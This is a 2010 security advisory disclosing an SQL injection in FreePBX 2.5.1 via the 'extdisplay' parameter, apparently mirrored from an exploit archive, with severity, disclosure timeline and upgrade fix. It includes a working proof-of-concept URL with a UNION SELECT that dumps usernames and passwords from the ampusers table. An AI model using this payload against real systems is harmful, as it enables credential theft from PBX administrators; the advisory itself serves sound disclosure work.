97 lines
No EOL
2.9 KiB
Text
97 lines
No EOL
2.9 KiB
Text
Advisory Name: SQL injection in FreePBX 2.5.1
|
||
|
||
Internal Cybsec Advisory Id: 2010-0103
|
||
|
||
Vulnerability Class: SQL injection
|
||
|
||
Release Date: 15/01/2010
|
||
|
||
Affected Applications: Confirmed in FreePBX 2.5.1. Other versions may also
|
||
be affected.
|
||
|
||
Affected Platforms: Any running FreePBX 2.5.1
|
||
|
||
Local / Remote: Remote
|
||
|
||
Severity: Medium – CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)
|
||
|
||
Researcher: Ivan Huertas
|
||
|
||
Vendor Status: To be confirmed
|
||
|
||
Reference to Vulnerability Disclosure Policy:
|
||
http://www.cybsec.com/vulnerability_policy.pdf
|
||
|
||
Vulnerability Description:
|
||
|
||
A vulnerability has been discovered in FreePBX, which can be exploited by
|
||
malicious people to conduct SQL injection attacks.
|
||
|
||
Input passed via the "extdisplay" parameter to config.php is not properly
|
||
sanitized before being used in a SQL query. This can be exploited to
|
||
manipulate SQL queries by injecting arbitrary SQL code.
|
||
|
||
The vulnerability is confirmed in version 2.5.1 Other versions may also be
|
||
affected.
|
||
|
||
Proof of Concept:
|
||
|
||
http://xxx.xxx.xxx.xxx/admin/config.php?display=did&didfilter=&extdisplay=12%22%20union%20select%20username,password,sections,%221%22,%222%22,%223%22,%224%22,%225%22,%226%22,%227%22,%228%22,%229%22,%2210%22,%2211%22,%2212%22%20from%20ampusers%20where%20%22%22=%22
|
||
|
||
Impact:
|
||
|
||
Execute arbitrary SQL queries.
|
||
|
||
|
||
|
||
|
||
|
||
|
||
Solution:
|
||
|
||
Update to FreePBX 2.5.2 or greater
|
||
|
||
• http://www.freepbx.org/trac/changeset/7594
|
||
• http://www.freepbx.org/trac/changeset/7640
|
||
|
||
Vendor Response:
|
||
|
||
2009-30-12 – Vulnerability was identified
|
||
2010-01-07 – Vendor contacted
|
||
2010-01-15 – Vulnerability published
|
||
Patches were available before the vulnerability was discovered.
|
||
|
||
Contact Information:
|
||
|
||
For more information regarding the vulnerability feel free to contact the
|
||
researcher at
|
||
ihuertas<at> cybsec <dot> com
|
||
|
||
|
||
About CYBSEC S.A. Security Systems:
|
||
|
||
Since 1996, CYBSEC is engaged exclusively in rendering professional
|
||
services specialized in Information Security. Their area of services
|
||
covers Latin America, Spain and over 250 customers are a proof of their
|
||
professional life.
|
||
|
||
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is
|
||
associated with other software and/or hardware provider companies.
|
||
|
||
Our services are strictly focused on Information Security, protecting our
|
||
clients from emerging security threats, maintaining their IT deployments
|
||
available, safe, and reliable.
|
||
|
||
Beyond professional services, CYBSEC is continuously researching new
|
||
defense and attack techniques
|
||
and contributing with the security community with high quality information
|
||
exchange.
|
||
|
||
For more information, please visit www.cybsec.com
|
||
|
||
(c) 2010 - CYBSEC S.A. Security Systems
|
||
|
||
===========================================================================
|
||
Download:
|
||
===========================================================================
|
||
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11186.pdf (CYBSEC-Advisory2010-0103-FreePBX_2_5_1_SQL_Injection.pdf) |